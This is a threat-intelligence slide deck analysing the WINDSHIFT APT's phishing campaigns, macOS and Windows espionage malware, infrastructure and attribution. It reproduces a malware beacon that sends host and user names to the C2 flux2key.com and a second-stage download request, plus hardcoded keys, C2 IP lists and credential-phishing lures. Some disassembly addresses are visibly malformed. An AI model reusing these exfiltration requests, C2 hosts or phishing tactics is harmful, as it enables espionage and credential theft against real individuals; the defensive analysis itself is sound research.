IN THE TRAILS OF WINDSHIFT APT

Taha K.– Head of Malware Research Labs, Dark Matter LLC
CONTENTS

PART I: APT MYTHS & DEFINITIONS

PART II: WHY AND HOW WINDSHIFT IS DIFFERENT?

PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

PART IV: WINDSHIFT APT TOOLSET: MAC OS, WINDOWS MALWARE.

PART V: ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?

PART VI: CONCLUSIONS
LITTLE BIT ABOUT ME

• Malware RE for the last decade

• Areas of interests:
  • Tracking APT’s and reversing their tools and MO’s.
  • Cyber crime investigations involving credit card fraud and bank cyber heists.

• My background: I worked at FireEye Labs, and Symantec as Senior Malware reverse engineer.

• Currently I work for Dark Matter LLC, as Head of malware research labs

• MSCS and MBA from l’Ecole pour l’informatique et les techniques avancees, Paris - France
APT MYTHS AND DEFINITIONS
PART I: APT MYTHS AND DEFINITIONS

• Does APT always means Advanced?
  
  • Case scenario: A target using unpatched Windows XP with no AV.
    
    – A very advanced toolset would be an overkill and comes with an unnecessary toolset exposure, whilst a simple toolset will get the job done most of the times.
    
    – Modern APT’s, Re-use of available tools, think copy-cat, evading attribution.
    
    – Simplicity always wins over complexity. Especially when time frames are shorts and/or budgets are limited.
PART I: APT MYTHS AND DEFINITIONS

- How to measure an advanced APT?
PART I: APT MYTHS AND DEFINITIONS

- Public and most known “Middle-East” APT’s, based on public feeds:
  - GREENBUG
  - OILRIG
  - MUDDYWATER
  - APT 33
  - APT 34
  - ....
- Up-to-date Middle-East APT OSINT data can be found here:
  - https://darkmatter.ae/evolution-muddywater-advanced-persistent-threat-apt/
PART I: APT MYTHS AND DEFINITIONS

- Most of them rely on open-source tools:
  - Empire, Metasploit, Mimikatz, invoke-obfuscation, PsExec...
  - Minor some customization: strings replacements, code refractoring, ..
- Sometimes relying and re-using low commodity malware:
  - RATs: NANOCORE, NETWIRE, njRAT, ...
  - OR build copy-pasta Android malware, ..
- Usually copy-cat actors, unless some of them developed custom basic hack tools:
  - POWERSTATS, ISMAGENT, MICROSPIA, ...
- Then they unlock the glorifying life-time “APT” attribution.

#UnlockyourAPTTag
PART I: APT MYTHS AND DEFINITIONS

- Example of OilRig custom x64 Mimikatz:
  - Original Mimikatz x64 version have **1779 functions** in total
  - OilRig modified Mimikatz have only **660 functions** in total
  - Based on mimikatz version 0.1
  - Have all the strings changed
PART I: APT MYTHS AND DEFINITIONS

• String changes for the OilRIG custom x64 Mimikatz:
PART I: APT MYTHS AND DEFINITIONS

• String changes for the OilRIG custom x64 Mimikatz:
WHY AND HOW WINDSHIFT APT IS DIFFERENT?
PART II: WHY AND HOW WINDSHIFT IS DIFFERENT?

- It’s a long term non-attributable APT.
- Pure Intelligence and Cyber espionage actor -> mostly active surveillance
- It’s been there for a while, and never got popped.
- Versatile, sophisticated and unpredictable Spear phishing attacks
- They Re-use your favorite APT malware (and Infrastructures):
  - aka Hacking other APT actors
- Very rarely directly engage targets with malware:
  - 2 attempts in 2017, very specific individuals.
  - 3 attempts in 2018, again very specific individuals.
- They are ONLY after specific individuals. Rarely targets corporate environments. This what helped them staying under the radar for years.
WINDSHIFT APT – MODUS OPERANDI (MO)
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 1: RECON – phase 1 duration 1-2 years
  • Via maintained fake personas on different social platforms:
    – Linkedin, Facebook, Twitter, Instagram, Google Plus.
  • Sending Friend Requests, engaging a conversation, to get identifiable information, emails, phone numbers, friends contacts
  • Through social media mobile apps:
    – Example of such apps, phonebooks, stealing contact list, emails and SMS contents https://darkmatter.ae/darkmatter-identifies-app-stealing-personal-information/
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 1: RECON – phase 1 duration 1-2 years

• Example of fake online persona Asalah (Asalah آل سميحة) Al Sameeha linked to WINDSHIFT APT:
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Twitter **OSINT 101:**
  - Legitimate Twitter account vs APT maintained Twitter Account (Weekly Activity) – using **tweets_analyzer.py** tool -

APT maintained Twitter account: @aheemasmalahalasa
• Phase 2: **RECON – phase 2 – duration 6 months – 1 year**

  • Long term monitoring of targets via *benign* emails:
    
    – Click habits, subjects of interests
    – Geo locating targets + Type of computer target uses (via User-Agent)
    – Email click rate
    – Usage of mailing lists, sending daily emails: duplicating content of local media

  • Building a sort of content habit and relationship with the target over time.

    => increasing click rates, preparing the targets for the next phases.
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 2: **RECON – phase 2 – duration 6 months – 1 year**
  
  ‒ Benign email, example of Khaleej times content duplication, link pointing to legit Khaleej times as well:
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 2: RECON – phase 2 – duration 6 months – 1 year
  – From the email source we found
    Tracking via Wasmyemailread[.]com:

    ![Email tracking](image1)

    Also tracking via ifread[.]com
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

- Phase 3: **Credential harvesting, duration 1 day**
  - Sending emails mimicking legit password recovery or password reset of following providers:
    - Targeting personal emails: Gmail, Apple iCloud, Etisalat (main ISP in UAE)
    - Targeting professional emails: OWA outlook
  - Send SMS redirecting to a credential harvesting page.
  - Domain typo squatting
  - Domains resolves only 1 day during the attack then shutdown.
  - Anonymous domains registered with **freenom.com** for free: .ml, .tk, .ga. gq
  - Also domains registered with **Internet BS, Namecheap**, with Whois Privacy Guard..
  - Credential harvesting landing pages are using HTTPS: free SSL certificates with let’s encrypt, or COMODO Free SSL..
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 3: **Credential harvesting, duration 1 day**
  - OWA harvesting attempt:

![Image of Outlook Web App](image-url)
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 3: **Credential harvesting, duration 1 day**
  • Apple ID harvesting attempt via SMS and Emails:

  ![Text Message]
  Yesterday 3:50 PM
  This is a reminder that on 08/12/2017 you will be charged USD 119.88 for your 2 TB storage plan. To cancel or downgrade plan please click on this link [https://example.com/ml/payment](https://example.com/ml/payment) The iCloud Team

  ![Email]
  [Redacted email content]
Phase 3: **Credential harvesting, duration 1 day**

- SMS targeting Etisalat Users:
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 3: **Credential harvesting, duration 1 day**
  
  • Gmail harvesting attempt:
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 4: **Hacking targets, 1 or twice per year**
  
  • This phase usually happens if Phase 3 was unsuccessful after many attempts. It is the last resort phase.
  
  • Infection vector: Emails (related to previous interaction emails of phase 2) having link to a drive by download delivering malware. Or emails having a direct malware attachment, usually within an archive.
  
  • Weaponize and re-use malware from different threat actors.
  
  • Re-use command and control infrastructure from other groups
  
  • Real separation between spear phishing infrastructure and malware C2 infrastructure, to avoid attribution, suspicions and takedowns..
• Below is the separation of WINDSHIFT APT C&C and spear phishing infrastructures:
• Phase 5: **Disappear**
  
  • Shutting the domain names and all related information for months
  
  • Switching to other spear phishing infrastructures
  
  • Continuously getting more access to new infrastructures:
    
    − Hacking
    − Renting infrastructures
    − Purchasing new access from VPS resellers (bitcoin), bullet proof hosting providers.
  
  • Repointing domains to new infrastructures

  • Getting access to more malware, and more C2 infrastructures and maintain the access until flagged
PART III: WINDSHIFT APT – MODUS OPERANDI (MO)

• Phase 5: **Disappear**

• Example of OWA spear phishing domain:

  on January 2018, **webmail-badirah-ae.html-5.me** moving from WILDCARD-UK Unlimited to Bodis LLC:

<table>
<thead>
<tr>
<th>Resolve</th>
<th>Location</th>
<th>Network</th>
<th>ASN</th>
<th>First</th>
<th>Last</th>
<th>Source</th>
<th>Tags</th>
</tr>
</thead>
<tbody>
<tr>
<td>199.59</td>
<td>US</td>
<td>199.59</td>
<td>395082</td>
<td>2018-01-12</td>
<td>2018-06-08</td>
<td>kaspersky, pingly</td>
<td>Bodis, Routable</td>
</tr>
</tbody>
</table>

**Bodis LLC** is known to be linked to Dark Hotel and to many others:
IV

WINDSHIFT APT – TOOL-SET
PART IV: WINDSHIFT APT – TOOL-SET

- Current Tool-set by chronological order, mostly cyber espionage tools, still under on-going development:

<table>
<thead>
<tr>
<th>Dark Matter Code</th>
<th>Target OS</th>
<th>First seen</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>WINDTAIL.A</td>
<td>macOS</td>
<td>Jan - 2017</td>
<td>Backdoor exfiltrating files</td>
</tr>
<tr>
<td>WINDTAIL.B</td>
<td>macOS</td>
<td>Jan - 2018</td>
<td>Downloader of WINDTAPE</td>
</tr>
<tr>
<td>WINDTAIL.C</td>
<td>macOS</td>
<td>Jan - 2018</td>
<td>Variant of WINDTAIL.B</td>
</tr>
<tr>
<td>WINDTAPE</td>
<td>macOS</td>
<td>Jan - 2018</td>
<td>Backdoor taking screenshots</td>
</tr>
<tr>
<td>WINDDROP - unconfirmed</td>
<td>Windows</td>
<td>May - 2018</td>
<td>Downloader of a unknown malware</td>
</tr>
</tbody>
</table>
• **WINDTAIL.A** : Signed macOS backdoor exfiltrating files having the following extensions: `.txt .pdf .doc .docx .ppt .pptx .db .rtf .xls .xlsx`

• Persists via **LoginItems**

• Strings encrypted with **AES-256-ECB** and encoded with **Base64**. AES key hardcoded in the sample:
• First apparition in January 2017

• Infection vector via spear phishing emails, pointing to a specially crafted webpage. The targeted emails were pointing victims to access a VIP contacts list:
PART IV: WINDSHIFT TOOL-SET - WINDTAIL.A
The specially crafted webpage will download a file `VVIP_Contacts.zip`, and will call a URL scheme: `openurl2622015://a:`
The custom URL scheme of VVIP_Contacts.app contained a typo “missing the letter L” which results in the failure of this first targeted attack.

Nevertheless, attackers gave a backdoor a realistic look by mimicking an Excel sheet icon, and most of the unaware victims will fall in this second trap by double clicking on the app to access the VIP contact list.
PART IV: WINDSHIFT TOOL-SET - WINDTAIL.A

• Demo #1:
  • How a custom URL scheme is added to the LaunchServices database (via a file download, network shares, etc.)
  • How to trigger the custom URL scheme using a specifically crafted webpage
  • Weakness of the attacker controlled user consent pop-up
  • Lateral movement: how WINDTAIL.A infect any MacOS via network shares
  • 1-click Malware infection and persistence
Rewrite of “Hack Back” aka “KitM OSX”, 2012 surveillance malware. We find the exact same helper function re-used (reading last 8-bytes of a specified file)

Signed with new Developer ID certificate

Weaponized with AES-256-ECB

Sign of code re-use ->

Same C&C servers IP from 2012

“Hack Back” aka “KitM OSX” is linked to:

- Operation Hangover / Appin Security
- Indian APT group from 2012
PART IV: WINDSHIFT TOOL-SET - WINDTAIL.B

- **WINDTAIL.B**, first apparition in January 2018
- Infection vector is with direct email attachments
PART IV: WINDSHIFT TOOL-SET - WINDTAIL.B

- Weaponized with AES-256-ECB
- Full rewrite of WINDTAIL.A (appeared exactly one year later after WINDTAIL.A)
- Additionally downloads and execute WINDTAPE (see next slides)
- Weird similarities with Komplex OSX Trojan from Sofacy APT (aka APT 28):
  - Testing if www.google.com is available using the Reachability framework
- Komplex OSX communicated with C2 hosted via AltusHost B.V a Netherlands service provider. AltusHost B.V is linked to several group and majorly used by Russian and Indian APT groups:
Also AltusHost B.V had 46 IP’s related to Operation Hangover: Attribution to India (we will talk about this later on, in the Attribution part)

79.142.64.39 31.3.154.113 213.5.71.26 31.3.154.115 79.142.64.177 213.5.71.31 31.3.154.116 213.5.65.31 79.142.64.47 37.46.127.78 79.142.78.80 213.5.71.24 185.10.58.175 37.46.127.75 213.5.71.20 31.3.154.117 213.5.65.223 79.142.78.112 79.142.64.37 37.46.127.77 213.5.71.28 31.3.154.110 79.142.64.49 91.214.45.187 79.142.78.120 31.3.154.114 79.142.64.183 213.5.65.20 37.46.127.81 79.142.64.181 79.142.64.36 79.142.64.97 213.5.71.27 79.142.64.99 37.46.127.76 79.142.78.111 213.5.65.24 31.3.154.111 9.142.64.34 79.142.78.76 31.3.155.106 79.142.64.178 79.142.64.32 79.142.78.83 79.142.64.98

AltusHost B.V had 2 IP’s related to Carbanak

185.10.56.59 185.10.58.175

AltusHost B.V had 1 IP related Morpho APT

185.10.58.181

AltusHost B.V had 1 IP related Sofacy APT (aka APT 28)

185.10.58.170

source (https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/)
PART IV: WINDSHIFT TOOL-SET - WINDTAPE

- **WINDTAPE**, first apparition in January 2018
- **WINDTAPE**, is the a second stage downloaded by **WINDTAIL.B**
- The below PCAP was recorded from our **macOS Honeypot**:
PART IV: WINDSHIFT TOOL-SET - WINDTAPE

- **Main purpose**: 
  - Taking a Screenshot of the current Desktop 
  - Sending the Screenshot to the C2 
  - Removing the Screenshot 
  - Repeat every 5 seconds 

- Using **KSReachability** framework to determine if the infected hosts is connected to the internet, **KSReachability** code is originally cloned from this GIT repo: [https://github.com/kstenerud/KSReachability](https://github.com/kstenerud/KSReachability). (We found the exact same Credits.rtf left inside WINDTAIL.A)

- Function names in **Farisi**:
  - **Goli** means **Flower/Rose**
  - **Namac** means **Salt**

![Function names in Farisi](image)
PART IV: WINDSHIFT TOOL-SET - WINDTAPE

- String encryption:
  - The encryption used is DES with a hardcoded Key and IV.
  - CCCrypt is used, so I wrote the decryption routine in Objective-C as following:
PART IV: WINDSHIFT TOOL-SET - WINDTAPE

- Demo #2:
  - WIDTAPE taking screenshots + Exfiltrating the captured images to the C&C
PART IV: WINDSHIFT TOOL-SET - WINDTAPE

- Final Remarks on the encryption keys used in WINDTAIL.A/B and WINDTAPE
  - The encryption keys are hardcoded in the sample in the UTF-16LE format:

```objective-c
42 //WINDTAIL.A AES key
43 NSString* key_a = @"မ$&լ்நŠŽ¬€?~]<Ω";
44
45 //WINDTAIL.B AES key
46 NSString* key_b = @"çĐ¥đµµµ®†";
47
48 //WINDTAPE DES key
49 NSString* key_c = @" Ä#(&KťŽ";
50
```
PART IV: WINDSHIFT TOOL-SET - WINDDROP

• **WINDDROP**, a Windows dropper, first appeared in May 2018, found by pivoting over the C2 through an online malware repository. This sample shares the **same C&C server with the other macOS backdoors**. It starts by sending information about the infected hosts:

```plaintext
POST /skdfhwsdkfksgeisefgygffiw.php HTTP/1.1
Content-Type: multipart/form-data;boundary=235789DEFGJLMQRWSYZefgiklmptuxyz
User-Agent: pre
Host: flux2key.com
Content-Length: 510
Cache-Control: no-cache

--235789DEFGJLMQRWSYZefgiklmptuxyz
Content-Disposition: form-data;name="UYGHFVG"

247BCDHJSUjmoqvwwz
--235789DEFGJLMQRWSYZefgiklmptuxyz
Content-Disposition: form-data;name="GJHGJGFH";filename="inf.log"
Content-Type: text/plain
Content-Transfer-Encoding: binary

C.M. N.a.m.e.: [redacted]
U.s.e.r.n.a.m.e.: [redacted]

--235789DEFGJLMQRWSYZefgiklmptuxyz
Content-Disposition: form-data;name="submit" value="submit"

--235789DEFGJLMQRWSYZefgiklmptuxyz--
```
PART IV: WINDSHIFT TOOL-SET - WINDROP

- Downloads a second stage backdoor `drop.txt`

```
GET /IUWEHIGHEUDGUEYGDGDGU/\drop.txt HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: http
Host: www.flux2key.com
```

HTTP/1.1 404 Not Found
Date:  
Server: Apache/2.4.29 (cPanel) OpenSSL/1.0.2m mod_bwlimited/1.4
Content-Length: 366
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

- Pass the execution to the a second still unidentified backdoor. No details about this second stage backdoor found yet, the file was removed from the server.
PART IV: WINDSHIFT TOOL-SET - WINDDROP

• Stack strings are encrypted, tools like FLOSS won't be able decode them:

FLOSS decoded 0 strings
FLOSS extracted 0 stackstrings
Finished execution after 1.724735 seconds

• Configuration strings are encoded:

```
0040266f ff15c4604000 call dword [MSVC90std::basic_string...ass std::allocator<char> ::clear@1AT]
00402675 6878974000 push 0x409778 {"cjvu01bw/\mn"}
0040267a b9ec04000 mov ecx, 0x40cfec
0040267f ff159c694000 call dword [MSVC90std::basic_string...ss std::allocator<char> ::append@1AT]
00402685 6854974000 push 0x409754 {"piecfxblicidvqjqpcjcezzdfgu/mf..."}
```
All the decryption is performed via a standalone decryption function:

```
0403fc0:     cmp   byte [ecx], 0x0
0403fc3:     push  esi (___saved_esi)
0403fc4:     mov   esi, 0x1
0403fc9:     je    0x403fff
```

```
0403fcb:     jmp   0x403fd0
0403fd0:     mov   eax, 0x55555556
0403fd5:     imul  esi
0403fd7:     mov   eax, edx
0403fd9:     shr   eax, 0x1f
0403fde:     add   eax, edx
0403ffe:     lea   edx, [eax+eax+2]
0403fe3:     add   eax, edx
0403fe5:     sub   eax, edx
0403fe7:     dec   byte [ecx]
0403feg:     cmp   eax, 0x1
0403fec:     jne   0x403fcl
```

```
0403fcl:     cmp   byte [ecx], 0x0
0403fcd:     push  esi (___saved_esi)
0403fce:     mov   esi, 0x1
0403ffe:     je    0x403fff
```
PART IV: WINDSHIFT TOOL-SET - WINDROP

• Can it be decrypted using emulation? Yes.

• Emulation using Radare2 is possible, see:

  Emulating Decryption Function With Radare2

  2018-08-14  #MALWARE, #PYTHON, #RADARE2

  • http://www.mien.in/2018/08/14/emulating-decryption-function-with-radare2/

• Can we do it with **Binary Ninja**?
PART IV: WINDSHIFT TOOL-SET - WINDROP

• Demo#3: Decrypt WINDROP encrypted strings using:
  • The Unicorn engine
  • Binary Ninja
  • Ripr plugin
  • And some ninja skills...
PART IV: WINDSHIFT TOOL-SET - WINDROP

- WINDROP strings can be decrypted via x86 emulation:
ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?
• An advanced APT hacked into Appin servers, or purchased their source code:
  • An APT hacked into Operation Hangover and got access to “KitM” and “Hack Back” malware source code:
    • Since not activity was recorded between 2012 and 2017 moreover Appin was shutdown during that time.
    • Suddenly variants of malware appeared in 2017 all signed with developer id’s having emails very similar BAHAMUT APT MO’s: example warren82port@mail.com was used to sign WINDTAIL malware.
  • BAHAMUT APT, is an obscure group tracked by Bellingcat showing a very similar email address composition: usually English first name, last name, and a number @ mail (.com, .ru) as well as VERY similar MO’s:
PART V: ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?

BAHAMUT APT

source: Bellingcat

WINDSHIFT APT

source: Dark Matter
PART V: ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?

BAHAMUT APT

source: Bellingcat

WINDSHIFT APT

source: Dark Matter
PART V: ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?

BAHAMUT APT

source: Bellingcat

WINDSHIFT APT

source: Dark Matter
PART V: ATTRIBUTION, WHO’S BEHIND WINDSHIFT APT?

**BAHAMUT APT**

<table>
<thead>
<tr>
<th>Address</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="mailto:abram.cester.84@mail.ru">abram.cester.84@mail.ru</a></td>
<td>ale********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:alena.balas@mail.ru">alena.balas@mail.ru</a></td>
<td>vov********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:borya.vasily.81@mail.ru">borya.vasily.81@mail.ru</a></td>
<td>dam********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:brody.adam84@mail.ru">brody.adam84@mail.ru</a></td>
<td>nic********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:cester.vesi@mail.ru">cester.vesi@mail.ru</a></td>
<td>ric********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:damone.staffen@mail.ru">damone.staffen@mail.ru</a></td>
<td>jen********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:eagle.eban@mail.ru">eagle.eban@mail.ru</a></td>
<td>ras**@inbox.ru</td>
</tr>
<tr>
<td><a href="mailto:jefry.varela@mail.ru">jefry.varela@mail.ru</a></td>
<td>bor********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:jenemy.staffen@mail.ru">jenemy.staffen@mail.ru</a></td>
<td>mar********@bk.ru</td>
</tr>
<tr>
<td><a href="mailto:kavin.colvo@inbox.ru">kavin.colvo@inbox.ru</a></td>
<td>eag********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:richard.arkady.82@mail.ru">richard.arkady.82@mail.ru</a></td>
<td>bog********@mail.ru</td>
</tr>
<tr>
<td><a href="mailto:vitaly-naumov@mail.ru">vitaly-naumov@mail.ru</a></td>
<td>afn***@bk.ru</td>
</tr>
<tr>
<td><a href="mailto:vova.pavel.84@mail.ru">vova.pavel.84@mail.ru</a></td>
<td>ila***@mail.ru</td>
</tr>
</tbody>
</table>

**WINDSHIFT APT**

Email: warren82port@mail.com

Warren Portman

Apple Developer ID: 9S442G74FH

Email: ??

Caren Van

Apple Developer ID: 4F9G49SUXB

source: Bellingcat

source: Dark Matter
CONCLUSIONS
PART VI: CONCLUSIONS

- **Appin Security** was highly likely either targeted by an advanced APT group or tools stolen by rogue employee or tools (malware, servers access..) were sold to a third party.

- **Fact 1:** **Appin Security** previously reported tools and infrastructures are today re-used to covertly hack into governments.

- **Fact 2:** We found overlaps with known existing APT actors:
  - MO’s (including: Domain registration, phishing emails and SMS’s) : BAHAMUT APT, Fancy Bear
  - Infrastructure used: BAHAMUT APT, Fancy Bear
  - Malware coding practices similarities: SOFACY
  - VPS providers: SOFACY, Fancy Bear, CARBANAK, DARK HOTEL, MORPHO, BAHAMUT
  - Passive DNS data: overlap with BAHAMUT, SOFACY

- **Fact 3:** **WINDSHIFT APT** are currently targeting government using **Appin Security** tools.
REFERENCES

- http://niiconsulting.com/checkmate/2013/05/indian-apt/
- https://www.cyph3rsec.com/site/
- https://threatpost.com/another-mac-os-x-backdoor-reported/100747/
- https://github.com/fireeye/flare-floss
- https://github.com/pbiernat/ripr
- http://www.unicorn-engine.org
- https://github.com/fireeye/flare-floss
- https://blog.vice.com/blog/moonlight-middle-east-targeted-attacks
- https://citizenlab.ca/2016/05/stealth-falcon/
- https://www.welivesecurity.com/2013/06/05/operation-hangover-more-links-to-the-oslo-freedom-forumincident/
THANK YOU